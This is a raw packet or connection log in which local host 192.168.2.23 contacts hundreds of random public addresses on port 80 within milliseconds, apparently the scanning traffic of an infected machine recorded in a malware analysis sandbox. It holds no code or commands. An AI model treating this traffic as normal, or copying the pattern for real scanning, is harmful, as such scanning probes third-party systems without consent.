Feb 4, 2025 18:17:31.398988962 CET	80	46308	193.176.47.76	192.168.2.23
Feb 4, 2025 18:17:31.398993969 CET	80	46308	41.170.104.214	192.168.2.23
Feb 4, 2025 18:17:31.398998022 CET	80	46308	189.64.235.80	192.168.2.23
Feb 4, 2025 18:17:31.399007082 CET	80	46308	188.71.104.149	192.168.2.23
Feb 4, 2025 18:17:31.399010897 CET	80	46308	211.246.182.136	192.168.2.23
Feb 4, 2025 18:17:31.399013996 CET	46308	80	192.168.2.23	196.65.97.197
Feb 4, 2025 18:17:31.399014950 CET	80	46308	8.45.61.72	192.168.2.23
Feb 4, 2025 18:17:31.399013996 CET	46308	80	192.168.2.23	195.130.215.13
Feb 4, 2025 18:17:31.399022102 CET	46308	80	192.168.2.23	221.107.118.127
Feb 4, 2025 18:17:31.399029016 CET	80	46308	168.150.174.149	192.168.2.23
Feb 4, 2025 18:17:31.399032116 CET	46308	80	192.168.2.23	193.176.47.76
Feb 4, 2025 18:17:31.399032116 CET	46308	80	192.168.2.23	41.170.104.214
Feb 4, 2025 18:17:31.399034023 CET	80	46308	108.10.230.27	192.168.2.23
Feb 4, 2025 18:17:31.399038076 CET	80	46308	139.86.112.161	192.168.2.23
Feb 4, 2025 18:17:31.399043083 CET	80	46308	169.17.213.160	192.168.2.23
Feb 4, 2025 18:17:31.399045944 CET	46308	80	192.168.2.23	211.246.182.136
Feb 4, 2025 18:17:31.399053097 CET	80	46308	182.161.89.193	192.168.2.23
Feb 4, 2025 18:17:31.399053097 CET	46308	80	192.168.2.23	188.71.104.149
Feb 4, 2025 18:17:31.399055004 CET	46308	80	192.168.2.23	189.64.235.80
Feb 4, 2025 18:17:31.399055958 CET	46308	80	192.168.2.23	8.45.61.72
Feb 4, 2025 18:17:31.399055958 CET	46308	80	192.168.2.23	168.150.174.149
Feb 4, 2025 18:17:31.399058104 CET	80	46308	179.82.88.96	192.168.2.23
Feb 4, 2025 18:17:31.399064064 CET	80	46308	49.109.1.49	192.168.2.23
Feb 4, 2025 18:17:31.399072886 CET	80	46308	118.159.130.68	192.168.2.23
Feb 4, 2025 18:17:31.399076939 CET	80	46308	19.252.205.205	192.168.2.23
Feb 4, 2025 18:17:31.399080992 CET	80	46308	140.184.30.163	192.168.2.23
Feb 4, 2025 18:17:31.399082899 CET	46308	80	192.168.2.23	139.86.112.161
Feb 4, 2025 18:17:31.399085045 CET	80	46308	145.103.5.7	192.168.2.23
Feb 4, 2025 18:17:31.399090052 CET	80	46308	62.137.47.235	192.168.2.23
Feb 4, 2025 18:17:31.399090052 CET	46308	80	192.168.2.23	108.10.230.27
Feb 4, 2025 18:17:31.399094105 CET	80	46308	64.117.124.2	192.168.2.23
Feb 4, 2025 18:17:31.399097919 CET	46308	80	192.168.2.23	169.17.213.160
Feb 4, 2025 18:17:31.399099112 CET	80	46308	155.214.36.245	192.168.2.23
Feb 4, 2025 18:17:31.399097919 CET	46308	80	192.168.2.23	49.109.1.49
Feb 4, 2025 18:17:31.399100065 CET	46308	80	192.168.2.23	182.161.89.193
Feb 4, 2025 18:17:31.399097919 CET	46308	80	192.168.2.23	179.82.88.96
Feb 4, 2025 18:17:31.399102926 CET	46308	80	192.168.2.23	118.159.130.68
Feb 4, 2025 18:17:31.399104118 CET	80	46308	81.187.15.146	192.168.2.23
Feb 4, 2025 18:17:31.399105072 CET	46308	80	192.168.2.23	19.252.205.205
Feb 4, 2025 18:17:31.399111032 CET	80	46308	183.224.185.244	192.168.2.23
Feb 4, 2025 18:17:31.399115086 CET	80	46308	94.195.201.97	192.168.2.23
Feb 4, 2025 18:17:31.399125099 CET	80	46308	206.251.28.126	192.168.2.23
Feb 4, 2025 18:17:31.399127007 CET	46308	80	192.168.2.23	140.184.30.163
Feb 4, 2025 18:17:31.399128914 CET	80	46308	202.168.28.174	192.168.2.23
Feb 4, 2025 18:17:31.399132967 CET	46308	80	192.168.2.23	64.117.124.2
Feb 4, 2025 18:17:31.399132967 CET	46308	80	192.168.2.23	155.214.36.245
Feb 4, 2025 18:17:31.399152994 CET	46308	80	192.168.2.23	81.187.15.146
Feb 4, 2025 18:17:31.399153948 CET	46308	80	192.168.2.23	94.195.201.97
Feb 4, 2025 18:17:31.399153948 CET	46308	80	192.168.2.23	145.103.5.7
Feb 4, 2025 18:17:31.399153948 CET	46308	80	192.168.2.23	62.137.47.235
Feb 4, 2025 18:17:31.399153948 CET	46308	80	192.168.2.23	183.224.185.244
Feb 4, 2025 18:17:31.399157047 CET	46308	80	192.168.2.23	202.168.28.174
Feb 4, 2025 18:17:31.399157047 CET	46308	80	192.168.2.23	206.251.28.126
Feb 4, 2025 18:17:31.399223089 CET	39650	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:31.399465084 CET	80	46308	155.2.174.9	192.168.2.23
Feb 4, 2025 18:17:31.399470091 CET	80	46308	160.200.175.66	192.168.2.23
Feb 4, 2025 18:17:31.399473906 CET	80	46308	58.98.121.153	192.168.2.23
Feb 4, 2025 18:17:31.399485111 CET	80	46308	85.225.82.20	192.168.2.23
Feb 4, 2025 18:17:31.399488926 CET	80	46308	136.1.113.251	192.168.2.23
Feb 4, 2025 18:17:31.399493933 CET	80	46308	131.77.144.18	192.168.2.23
Feb 4, 2025 18:17:31.399497986 CET	80	46308	109.114.63.127	192.168.2.23
Feb 4, 2025 18:17:31.399502039 CET	80	46308	192.10.17.118	192.168.2.23
Feb 4, 2025 18:17:31.399512053 CET	80	46308	61.10.79.36	192.168.2.23
Feb 4, 2025 18:17:31.399517059 CET	80	46308	67.199.45.16	192.168.2.23
Feb 4, 2025 18:17:31.399518013 CET	46308	80	192.168.2.23	155.2.174.9
Feb 4, 2025 18:17:31.399519920 CET	46308	80	192.168.2.23	136.1.113.251
Feb 4, 2025 18:17:31.399522066 CET	80	46308	61.101.255.152	192.168.2.23
Feb 4, 2025 18:17:31.399527073 CET	80	46308	58.234.79.168	192.168.2.23
Feb 4, 2025 18:17:31.399528980 CET	46308	80	192.168.2.23	160.200.175.66
Feb 4, 2025 18:17:31.399528980 CET	46308	80	192.168.2.23	58.98.121.153
Feb 4, 2025 18:17:31.399528980 CET	46308	80	192.168.2.23	85.225.82.20
Feb 4, 2025 18:17:31.399530888 CET	46308	80	192.168.2.23	131.77.144.18
Feb 4, 2025 18:17:31.399539948 CET	80	46308	156.73.94.211	192.168.2.23
Feb 4, 2025 18:17:31.399544001 CET	80	46308	187.90.144.93	192.168.2.23
Feb 4, 2025 18:17:31.399548054 CET	80	46308	185.78.79.225	192.168.2.23
Feb 4, 2025 18:17:31.399558067 CET	80	46308	166.34.48.45	192.168.2.23
Feb 4, 2025 18:17:31.399561882 CET	46308	80	192.168.2.23	61.101.255.152
Feb 4, 2025 18:17:31.399561882 CET	80	46308	110.106.200.194	192.168.2.23
Feb 4, 2025 18:17:31.399564981 CET	46308	80	192.168.2.23	58.234.79.168
Feb 4, 2025 18:17:31.399566889 CET	80	46308	116.130.204.191	192.168.2.23
Feb 4, 2025 18:17:31.399566889 CET	46308	80	192.168.2.23	109.114.63.127
Feb 4, 2025 18:17:31.399570942 CET	80	46308	13.139.55.41	192.168.2.23
Feb 4, 2025 18:17:31.399573088 CET	46308	80	192.168.2.23	192.10.17.118
Feb 4, 2025 18:17:31.399574995 CET	46308	80	192.168.2.23	156.73.94.211
Feb 4, 2025 18:17:31.399575949 CET	80	46308	168.34.73.20	192.168.2.23
Feb 4, 2025 18:17:31.399573088 CET	46308	80	192.168.2.23	61.10.79.36
Feb 4, 2025 18:17:31.399573088 CET	46308	80	192.168.2.23	67.199.45.16
Feb 4, 2025 18:17:31.399580956 CET	80	46308	169.158.115.212	192.168.2.23
Feb 4, 2025 18:17:31.399585009 CET	80	46308	159.251.35.129	192.168.2.23
Feb 4, 2025 18:17:31.399585962 CET	46308	80	192.168.2.23	187.90.144.93
Feb 4, 2025 18:17:31.399590969 CET	46308	80	192.168.2.23	185.78.79.225
Feb 4, 2025 18:17:31.399591923 CET	80	46308	211.149.253.82	192.168.2.23
Feb 4, 2025 18:17:31.399600983 CET	46308	80	192.168.2.23	110.106.200.194
Feb 4, 2025 18:17:31.399605036 CET	46308	80	192.168.2.23	168.34.73.20
Feb 4, 2025 18:17:31.399605036 CET	46308	80	192.168.2.23	13.139.55.41
Feb 4, 2025 18:17:31.399616957 CET	46308	80	192.168.2.23	116.130.204.191
Feb 4, 2025 18:17:31.399616957 CET	46308	80	192.168.2.23	166.34.48.45
Feb 4, 2025 18:17:31.399617910 CET	46308	80	192.168.2.23	211.149.253.82
Feb 4, 2025 18:17:31.399616957 CET	46308	80	192.168.2.23	169.158.115.212
Feb 4, 2025 18:17:31.399620056 CET	46308	80	192.168.2.23	159.251.35.129
Feb 4, 2025 18:17:31.399621010 CET	80	46308	159.149.165.84	192.168.2.23
Feb 4, 2025 18:17:31.399629116 CET	80	46308	95.173.32.131	192.168.2.23
Feb 4, 2025 18:17:31.399688959 CET	46308	80	192.168.2.23	159.149.165.84
Feb 4, 2025 18:17:31.399688959 CET	46308	80	192.168.2.23	95.173.32.131
Feb 4, 2025 18:17:31.400070906 CET	80	46308	105.57.99.3	192.168.2.23
Feb 4, 2025 18:17:31.400075912 CET	80	46308	20.199.155.218	192.168.2.23
Feb 4, 2025 18:17:31.400080919 CET	80	46308	66.28.69.41	192.168.2.23
Feb 4, 2025 18:17:31.400089979 CET	80	46308	184.23.72.142	192.168.2.23
Feb 4, 2025 18:17:31.400094986 CET	80	46308	198.146.230.60	192.168.2.23
Feb 4, 2025 18:17:31.400104046 CET	80	46308	9.237.93.222	192.168.2.23
Feb 4, 2025 18:17:31.400109053 CET	80	46308	164.189.189.190	192.168.2.23
Feb 4, 2025 18:17:31.400111914 CET	80	46308	126.219.17.92	192.168.2.23
Feb 4, 2025 18:17:31.400115967 CET	80	46308	160.146.255.73	192.168.2.23
Feb 4, 2025 18:17:31.400121927 CET	46308	80	192.168.2.23	20.199.155.218
Feb 4, 2025 18:17:31.400124073 CET	46308	80	192.168.2.23	105.57.99.3
Feb 4, 2025 18:17:31.400129080 CET	46308	80	192.168.2.23	66.28.69.41
Feb 4, 2025 18:17:31.400129080 CET	80	46308	137.240.215.4	192.168.2.23
Feb 4, 2025 18:17:31.400134087 CET	80	46308	140.157.141.251	192.168.2.23
Feb 4, 2025 18:17:31.400139093 CET	80	46308	60.236.137.254	192.168.2.23
Feb 4, 2025 18:17:31.400140047 CET	46308	80	192.168.2.23	184.23.72.142
Feb 4, 2025 18:17:31.400140047 CET	46308	80	192.168.2.23	198.146.230.60
Feb 4, 2025 18:17:31.400140047 CET	46308	80	192.168.2.23	9.237.93.222
Feb 4, 2025 18:17:31.400142908 CET	80	46308	188.0.2.100	192.168.2.23
Feb 4, 2025 18:17:31.400146008 CET	46308	80	192.168.2.23	126.219.17.92
Feb 4, 2025 18:17:31.400147915 CET	80	46308	25.1.39.157	192.168.2.23
Feb 4, 2025 18:17:31.400147915 CET	46308	80	192.168.2.23	164.189.189.190
Feb 4, 2025 18:17:31.400147915 CET	46308	80	192.168.2.23	160.146.255.73
Feb 4, 2025 18:17:31.400158882 CET	46308	80	192.168.2.23	140.157.141.251
Feb 4, 2025 18:17:31.400168896 CET	46308	80	192.168.2.23	60.236.137.254
Feb 4, 2025 18:17:31.400170088 CET	46308	80	192.168.2.23	137.240.215.4
Feb 4, 2025 18:17:31.400170088 CET	46308	80	192.168.2.23	188.0.2.100
Feb 4, 2025 18:17:31.400194883 CET	46308	80	192.168.2.23	25.1.39.157
Feb 4, 2025 18:17:31.400479078 CET	80	46308	92.95.94.75	192.168.2.23
Feb 4, 2025 18:17:31.400484085 CET	80	46308	191.141.242.26	192.168.2.23
Feb 4, 2025 18:17:31.400489092 CET	80	46308	132.202.62.71	192.168.2.23
Feb 4, 2025 18:17:31.400499105 CET	80	46308	208.180.99.133	192.168.2.23
Feb 4, 2025 18:17:31.400502920 CET	80	46308	119.22.125.232	192.168.2.23
Feb 4, 2025 18:17:31.400506973 CET	80	46308	111.96.93.110	192.168.2.23
Feb 4, 2025 18:17:31.400521040 CET	80	46308	34.244.16.111	192.168.2.23
Feb 4, 2025 18:17:31.400526047 CET	80	46308	182.200.151.107	192.168.2.23
Feb 4, 2025 18:17:31.400532961 CET	46308	80	192.168.2.23	191.141.242.26
Feb 4, 2025 18:17:31.400540113 CET	46308	80	192.168.2.23	208.180.99.133
Feb 4, 2025 18:17:31.400557041 CET	46308	80	192.168.2.23	111.96.93.110
Feb 4, 2025 18:17:31.400557041 CET	46308	80	192.168.2.23	92.95.94.75
Feb 4, 2025 18:17:31.400557041 CET	46308	80	192.168.2.23	119.22.125.232
Feb 4, 2025 18:17:31.400557041 CET	46308	80	192.168.2.23	132.202.62.71
Feb 4, 2025 18:17:31.400561094 CET	46308	80	192.168.2.23	182.200.151.107
Feb 4, 2025 18:17:31.400564909 CET	46308	80	192.168.2.23	34.244.16.111
Feb 4, 2025 18:17:31.400579929 CET	80	46308	181.130.153.71	192.168.2.23
Feb 4, 2025 18:17:31.400584936 CET	80	46308	154.91.158.59	192.168.2.23
Feb 4, 2025 18:17:31.400595903 CET	80	46308	221.121.197.28	192.168.2.23
Feb 4, 2025 18:17:31.400599957 CET	80	46308	78.36.232.195	192.168.2.23
Feb 4, 2025 18:17:31.400604010 CET	80	46308	97.96.32.228	192.168.2.23
Feb 4, 2025 18:17:31.400608063 CET	80	46308	175.158.226.181	192.168.2.23
Feb 4, 2025 18:17:31.400612116 CET	80	46308	138.245.157.81	192.168.2.23
Feb 4, 2025 18:17:31.400618076 CET	80	46308	203.222.206.3	192.168.2.23
Feb 4, 2025 18:17:31.400621891 CET	80	46308	193.66.30.221	192.168.2.23
Feb 4, 2025 18:17:31.400624990 CET	46308	80	192.168.2.23	181.130.153.71
Feb 4, 2025 18:17:31.400625944 CET	46308	80	192.168.2.23	154.91.158.59
Feb 4, 2025 18:17:31.400629997 CET	46308	80	192.168.2.23	78.36.232.195
Feb 4, 2025 18:17:31.400631905 CET	46308	80	192.168.2.23	221.121.197.28
Feb 4, 2025 18:17:31.400636911 CET	46308	80	192.168.2.23	97.96.32.228
Feb 4, 2025 18:17:31.400650024 CET	46308	80	192.168.2.23	203.222.206.3
Feb 4, 2025 18:17:31.400655031 CET	46308	80	192.168.2.23	175.158.226.181
Feb 4, 2025 18:17:31.400655031 CET	46308	80	192.168.2.23	138.245.157.81
Feb 4, 2025 18:17:31.400656939 CET	46308	80	192.168.2.23	193.66.30.221
Feb 4, 2025 18:17:31.402396917 CET	80	46308	60.51.57.145	192.168.2.23
Feb 4, 2025 18:17:31.402401924 CET	80	46308	72.84.235.24	192.168.2.23
Feb 4, 2025 18:17:31.402405977 CET	80	46308	185.197.115.13	192.168.2.23
Feb 4, 2025 18:17:31.402410030 CET	80	46308	17.127.144.84	192.168.2.23
Feb 4, 2025 18:17:31.402414083 CET	80	46308	202.197.57.207	192.168.2.23
Feb 4, 2025 18:17:31.402420044 CET	80	46308	91.140.228.76	192.168.2.23
Feb 4, 2025 18:17:31.402424097 CET	80	46308	109.173.138.181	192.168.2.23
Feb 4, 2025 18:17:31.402426958 CET	80	46308	173.124.118.0	192.168.2.23
Feb 4, 2025 18:17:31.402431965 CET	80	46308	121.232.119.53	192.168.2.23
Feb 4, 2025 18:17:31.402436018 CET	80	46308	58.5.113.220	192.168.2.23
Feb 4, 2025 18:17:31.402440071 CET	80	46308	175.199.79.99	192.168.2.23
Feb 4, 2025 18:17:31.402443886 CET	46308	80	192.168.2.23	60.51.57.145
Feb 4, 2025 18:17:31.402443886 CET	80	46308	153.161.73.133	192.168.2.23
Feb 4, 2025 18:17:31.402448893 CET	80	46308	112.39.175.44	192.168.2.23
Feb 4, 2025 18:17:31.402451038 CET	46308	80	192.168.2.23	72.84.235.24
Feb 4, 2025 18:17:31.402451038 CET	46308	80	192.168.2.23	17.127.144.84
Feb 4, 2025 18:17:31.402451038 CET	46308	80	192.168.2.23	173.124.118.0
Feb 4, 2025 18:17:31.402453899 CET	80	46308	221.144.63.161	192.168.2.23
Feb 4, 2025 18:17:31.402458906 CET	80	46308	153.180.59.0	192.168.2.23
Feb 4, 2025 18:17:31.402458906 CET	46308	80	192.168.2.23	185.197.115.13
Feb 4, 2025 18:17:31.402462959 CET	80	46308	165.82.255.155	192.168.2.23
Feb 4, 2025 18:17:31.402467966 CET	80	46308	8.163.53.111	192.168.2.23
Feb 4, 2025 18:17:31.402471066 CET	80	46308	129.130.226.138	192.168.2.23
Feb 4, 2025 18:17:31.402475119 CET	80	46308	69.71.182.241	192.168.2.23
Feb 4, 2025 18:17:31.402477026 CET	46308	80	192.168.2.23	58.5.113.220
Feb 4, 2025 18:17:31.402478933 CET	80	46308	160.38.118.59	192.168.2.23
Feb 4, 2025 18:17:31.402477980 CET	46308	80	192.168.2.23	109.173.138.181
Feb 4, 2025 18:17:31.402477980 CET	46308	80	192.168.2.23	121.232.119.53
Feb 4, 2025 18:17:31.402477980 CET	46308	80	192.168.2.23	175.199.79.99
Feb 4, 2025 18:17:31.402482986 CET	80	46308	103.249.121.114	192.168.2.23
Feb 4, 2025 18:17:31.402487993 CET	80	46308	34.78.84.146	192.168.2.23
Feb 4, 2025 18:17:31.402492046 CET	46308	80	192.168.2.23	153.161.73.133
Feb 4, 2025 18:17:31.402492046 CET	46308	80	192.168.2.23	112.39.175.44
Feb 4, 2025 18:17:31.402493954 CET	46308	80	192.168.2.23	221.144.63.161
Feb 4, 2025 18:17:31.402493954 CET	46308	80	192.168.2.23	153.180.59.0
Feb 4, 2025 18:17:31.402499914 CET	80	46308	195.2.156.205	192.168.2.23
Feb 4, 2025 18:17:31.402503014 CET	46308	80	192.168.2.23	69.71.182.241
Feb 4, 2025 18:17:31.402503014 CET	46308	80	192.168.2.23	8.163.53.111
Feb 4, 2025 18:17:31.402503014 CET	46308	80	192.168.2.23	165.82.255.155
Feb 4, 2025 18:17:31.402509928 CET	80	46308	5.208.222.238	192.168.2.23
Feb 4, 2025 18:17:31.402513027 CET	46308	80	192.168.2.23	129.130.226.138
Feb 4, 2025 18:17:31.402514935 CET	80	46308	104.140.213.206	192.168.2.23
Feb 4, 2025 18:17:31.402517080 CET	46308	80	192.168.2.23	160.38.118.59
Feb 4, 2025 18:17:31.402518988 CET	80	46308	119.118.82.2	192.168.2.23
Feb 4, 2025 18:17:31.402523041 CET	80	46308	78.7.81.42	192.168.2.23
Feb 4, 2025 18:17:31.402523994 CET	46308	80	192.168.2.23	103.249.121.114
Feb 4, 2025 18:17:31.402525902 CET	46308	80	192.168.2.23	202.197.57.207
Feb 4, 2025 18:17:31.402525902 CET	46308	80	192.168.2.23	91.140.228.76
Feb 4, 2025 18:17:31.402528048 CET	80	46308	222.41.119.159	192.168.2.23
Feb 4, 2025 18:17:31.402525902 CET	46308	80	192.168.2.23	34.78.84.146
Feb 4, 2025 18:17:31.402533054 CET	80	46308	134.158.73.193	192.168.2.23
Feb 4, 2025 18:17:31.402539015 CET	80	46308	149.148.39.236	192.168.2.23
Feb 4, 2025 18:17:31.402543068 CET	80	46308	20.179.69.24	192.168.2.23
Feb 4, 2025 18:17:31.402546883 CET	80	46308	186.59.207.191	192.168.2.23
Feb 4, 2025 18:17:31.402550936 CET	80	46308	135.185.117.193	192.168.2.23
Feb 4, 2025 18:17:31.402554035 CET	46308	80	192.168.2.23	5.208.222.238
Feb 4, 2025 18:17:31.402554989 CET	80	46308	139.49.240.211	192.168.2.23
Feb 4, 2025 18:17:31.402559996 CET	80	46308	181.122.20.178	192.168.2.23
Feb 4, 2025 18:17:31.402560949 CET	46308	80	192.168.2.23	78.7.81.42
Feb 4, 2025 18:17:31.402564049 CET	80	46308	74.248.136.178	192.168.2.23
Feb 4, 2025 18:17:31.402565956 CET	46308	80	192.168.2.23	195.2.156.205
Feb 4, 2025 18:17:31.402569056 CET	80	46308	120.178.137.66	192.168.2.23
Feb 4, 2025 18:17:31.402570009 CET	46308	80	192.168.2.23	119.118.82.2
Feb 4, 2025 18:17:31.402570009 CET	46308	80	192.168.2.23	104.140.213.206
Feb 4, 2025 18:17:31.402570009 CET	46308	80	192.168.2.23	222.41.119.159
Feb 4, 2025 18:17:31.402573109 CET	80	46308	77.53.230.135	192.168.2.23
Feb 4, 2025 18:17:31.402578115 CET	80	46308	61.254.243.141	192.168.2.23
Feb 4, 2025 18:17:31.402578115 CET	46308	80	192.168.2.23	134.158.73.193
Feb 4, 2025 18:17:31.402579069 CET	46308	80	192.168.2.23	186.59.207.191
Feb 4, 2025 18:17:31.402582884 CET	80	46308	32.111.133.175	192.168.2.23
Feb 4, 2025 18:17:31.402587891 CET	80	46308	114.102.246.11	192.168.2.23
Feb 4, 2025 18:17:31.402591944 CET	80	46308	106.194.188.71	192.168.2.23
Feb 4, 2025 18:17:31.402592897 CET	46308	80	192.168.2.23	139.49.240.211
Feb 4, 2025 18:17:31.402595043 CET	46308	80	192.168.2.23	20.179.69.24
Feb 4, 2025 18:17:31.402595043 CET	46308	80	192.168.2.23	74.248.136.178
Feb 4, 2025 18:17:31.402595043 CET	46308	80	192.168.2.23	181.122.20.178
Feb 4, 2025 18:17:31.402595997 CET	46308	80	192.168.2.23	149.148.39.236
Feb 4, 2025 18:17:31.402595997 CET	80	46308	178.12.28.13	192.168.2.23
Feb 4, 2025 18:17:31.402595997 CET	46308	80	192.168.2.23	135.185.117.193
Feb 4, 2025 18:17:31.402601957 CET	80	46308	66.176.132.30	192.168.2.23
Feb 4, 2025 18:17:31.402606964 CET	80	46308	91.115.233.3	192.168.2.23
Feb 4, 2025 18:17:31.402607918 CET	46308	80	192.168.2.23	120.178.137.66
Feb 4, 2025 18:17:31.402610064 CET	46308	80	192.168.2.23	77.53.230.135
Feb 4, 2025 18:17:31.402611971 CET	80	46308	70.82.103.211	192.168.2.23
Feb 4, 2025 18:17:31.402616024 CET	46308	80	192.168.2.23	61.254.243.141
Feb 4, 2025 18:17:31.402626038 CET	80	46308	19.241.126.153	192.168.2.23
Feb 4, 2025 18:17:31.402626038 CET	46308	80	192.168.2.23	32.111.133.175
Feb 4, 2025 18:17:31.402631044 CET	80	46308	165.94.105.183	192.168.2.23
Feb 4, 2025 18:17:31.402631044 CET	46308	80	192.168.2.23	106.194.188.71
Feb 4, 2025 18:17:31.402636051 CET	80	46308	207.213.158.41	192.168.2.23
Feb 4, 2025 18:17:31.402636051 CET	46308	80	192.168.2.23	178.12.28.13
Feb 4, 2025 18:17:31.402640104 CET	46308	80	192.168.2.23	66.176.132.30
Feb 4, 2025 18:17:31.402641058 CET	80	46308	122.206.146.204	192.168.2.23
Feb 4, 2025 18:17:31.402645111 CET	80	46308	61.47.58.36	192.168.2.23
Feb 4, 2025 18:17:31.402648926 CET	46308	80	192.168.2.23	114.102.246.11
Feb 4, 2025 18:17:31.402650118 CET	80	46308	94.89.43.214	192.168.2.23
Feb 4, 2025 18:17:31.402654886 CET	80	46308	85.125.62.240	192.168.2.23
Feb 4, 2025 18:17:31.402658939 CET	46308	80	192.168.2.23	91.115.233.3
Feb 4, 2025 18:17:31.402659893 CET	80	46308	155.106.34.8	192.168.2.23
Feb 4, 2025 18:17:31.402662992 CET	46308	80	192.168.2.23	70.82.103.211
Feb 4, 2025 18:17:31.402663946 CET	46308	80	192.168.2.23	19.241.126.153
Feb 4, 2025 18:17:31.402664900 CET	80	46308	71.29.0.88	192.168.2.23
Feb 4, 2025 18:17:31.402663946 CET	46308	80	192.168.2.23	165.94.105.183
Feb 4, 2025 18:17:31.402671099 CET	80	46308	217.86.236.210	192.168.2.23
Feb 4, 2025 18:17:31.402674913 CET	80	46308	187.57.144.83	192.168.2.23
Feb 4, 2025 18:17:31.402684927 CET	80	46308	68.146.139.246	192.168.2.23
Feb 4, 2025 18:17:31.402687073 CET	46308	80	192.168.2.23	122.206.146.204
Feb 4, 2025 18:17:31.402689934 CET	80	46308	116.56.72.177	192.168.2.23
Feb 4, 2025 18:17:31.402692080 CET	46308	80	192.168.2.23	61.47.58.36
Feb 4, 2025 18:17:31.402692080 CET	46308	80	192.168.2.23	94.89.43.214
Feb 4, 2025 18:17:31.402694941 CET	80	46308	40.85.214.142	192.168.2.23
Feb 4, 2025 18:17:31.402697086 CET	46308	80	192.168.2.23	85.125.62.240
Feb 4, 2025 18:17:31.402697086 CET	46308	80	192.168.2.23	155.106.34.8
Feb 4, 2025 18:17:31.402699947 CET	80	46308	120.31.207.226	192.168.2.23
Feb 4, 2025 18:17:31.402704000 CET	80	46308	193.164.206.186	192.168.2.23
Feb 4, 2025 18:17:31.402707100 CET	46308	80	192.168.2.23	207.213.158.41
Feb 4, 2025 18:17:31.402709007 CET	80	46308	197.164.201.101	192.168.2.23
Feb 4, 2025 18:17:31.402714014 CET	80	46308	165.83.32.111	192.168.2.23
Feb 4, 2025 18:17:31.402714968 CET	46308	80	192.168.2.23	71.29.0.88
Feb 4, 2025 18:17:31.402717113 CET	46308	80	192.168.2.23	217.86.236.210
Feb 4, 2025 18:17:31.402719021 CET	80	46308	40.102.170.154	192.168.2.23
Feb 4, 2025 18:17:31.402720928 CET	46308	80	192.168.2.23	68.146.139.246
Feb 4, 2025 18:17:31.402723074 CET	80	46308	149.48.35.137	192.168.2.23
Feb 4, 2025 18:17:31.402728081 CET	80	46308	57.98.200.7	192.168.2.23
Feb 4, 2025 18:17:31.402730942 CET	46308	80	192.168.2.23	187.57.144.83
Feb 4, 2025 18:17:31.402731895 CET	80	46308	27.80.95.198	192.168.2.23
Feb 4, 2025 18:17:31.402730942 CET	46308	80	192.168.2.23	116.56.72.177
Feb 4, 2025 18:17:31.402730942 CET	46308	80	192.168.2.23	40.85.214.142
Feb 4, 2025 18:17:31.402741909 CET	46308	80	192.168.2.23	193.164.206.186
Feb 4, 2025 18:17:31.402743101 CET	80	46308	219.130.3.45	192.168.2.23
Feb 4, 2025 18:17:31.402741909 CET	46308	80	192.168.2.23	120.31.207.226
Feb 4, 2025 18:17:31.402741909 CET	46308	80	192.168.2.23	165.83.32.111
Feb 4, 2025 18:17:31.402743101 CET	46308	80	192.168.2.23	40.102.170.154
Feb 4, 2025 18:17:31.402750015 CET	46308	80	192.168.2.23	197.164.201.101
Feb 4, 2025 18:17:31.402760029 CET	80	46308	130.130.64.14	192.168.2.23
Feb 4, 2025 18:17:31.402765036 CET	80	46308	1.5.40.187	192.168.2.23
Feb 4, 2025 18:17:31.402769089 CET	80	46308	141.87.149.3	192.168.2.23
Feb 4, 2025 18:17:31.402771950 CET	46308	80	192.168.2.23	149.48.35.137
Feb 4, 2025 18:17:31.402774096 CET	80	46308	104.172.122.140	192.168.2.23
Feb 4, 2025 18:17:31.402774096 CET	46308	80	192.168.2.23	57.98.200.7
Feb 4, 2025 18:17:31.402777910 CET	46308	80	192.168.2.23	27.80.95.198
Feb 4, 2025 18:17:31.402780056 CET	80	46308	46.93.162.22	192.168.2.23
Feb 4, 2025 18:17:31.402784109 CET	46308	80	192.168.2.23	219.130.3.45
Feb 4, 2025 18:17:31.402784109 CET	80	46308	150.19.36.243	192.168.2.23
Feb 4, 2025 18:17:31.402787924 CET	80	46308	202.14.183.90	192.168.2.23
Feb 4, 2025 18:17:31.402791977 CET	46308	80	192.168.2.23	130.130.64.14
Feb 4, 2025 18:17:31.402791977 CET	80	46308	36.114.158.212	192.168.2.23
Feb 4, 2025 18:17:31.402796984 CET	80	46308	191.233.190.245	192.168.2.23
Feb 4, 2025 18:17:31.402801991 CET	80	46308	84.19.199.134	192.168.2.23
Feb 4, 2025 18:17:31.402806044 CET	80	46308	183.157.183.88	192.168.2.23
Feb 4, 2025 18:17:31.402808905 CET	46308	80	192.168.2.23	141.87.149.3
Feb 4, 2025 18:17:31.402811050 CET	80	46308	110.100.205.65	192.168.2.23
Feb 4, 2025 18:17:31.402811050 CET	46308	80	192.168.2.23	1.5.40.187
Feb 4, 2025 18:17:31.402816057 CET	80	46308	92.43.72.50	192.168.2.23
Feb 4, 2025 18:17:31.402818918 CET	46308	80	192.168.2.23	104.172.122.140
Feb 4, 2025 18:17:31.402821064 CET	80	46308	117.136.154.59	192.168.2.23
Feb 4, 2025 18:17:31.402825117 CET	80	46308	75.199.68.202	192.168.2.23
Feb 4, 2025 18:17:31.402828932 CET	80	46308	208.147.59.182	192.168.2.23
Feb 4, 2025 18:17:31.402832985 CET	80	46308	147.195.143.70	192.168.2.23
Feb 4, 2025 18:17:31.402833939 CET	46308	80	192.168.2.23	150.19.36.243
Feb 4, 2025 18:17:31.402833939 CET	46308	80	192.168.2.23	202.14.183.90
Feb 4, 2025 18:17:31.402837038 CET	46308	80	192.168.2.23	36.114.158.212
Feb 4, 2025 18:17:31.402837992 CET	80	46308	40.114.253.42	192.168.2.23
Feb 4, 2025 18:17:31.402842045 CET	80	46308	117.201.191.61	192.168.2.23
Feb 4, 2025 18:17:31.402842999 CET	46308	80	192.168.2.23	191.233.190.245
Feb 4, 2025 18:17:31.402847052 CET	80	46308	135.140.139.114	192.168.2.23
Feb 4, 2025 18:17:31.402853012 CET	46308	80	192.168.2.23	46.93.162.22
Feb 4, 2025 18:17:31.402853012 CET	46308	80	192.168.2.23	183.157.183.88
Feb 4, 2025 18:17:31.402853012 CET	46308	80	192.168.2.23	84.19.199.134
Feb 4, 2025 18:17:31.402853012 CET	46308	80	192.168.2.23	110.100.205.65
Feb 4, 2025 18:17:31.402861118 CET	46308	80	192.168.2.23	75.199.68.202
Feb 4, 2025 18:17:31.402861118 CET	46308	80	192.168.2.23	208.147.59.182
Feb 4, 2025 18:17:31.402868986 CET	46308	80	192.168.2.23	40.114.253.42
Feb 4, 2025 18:17:31.402869940 CET	46308	80	192.168.2.23	117.201.191.61
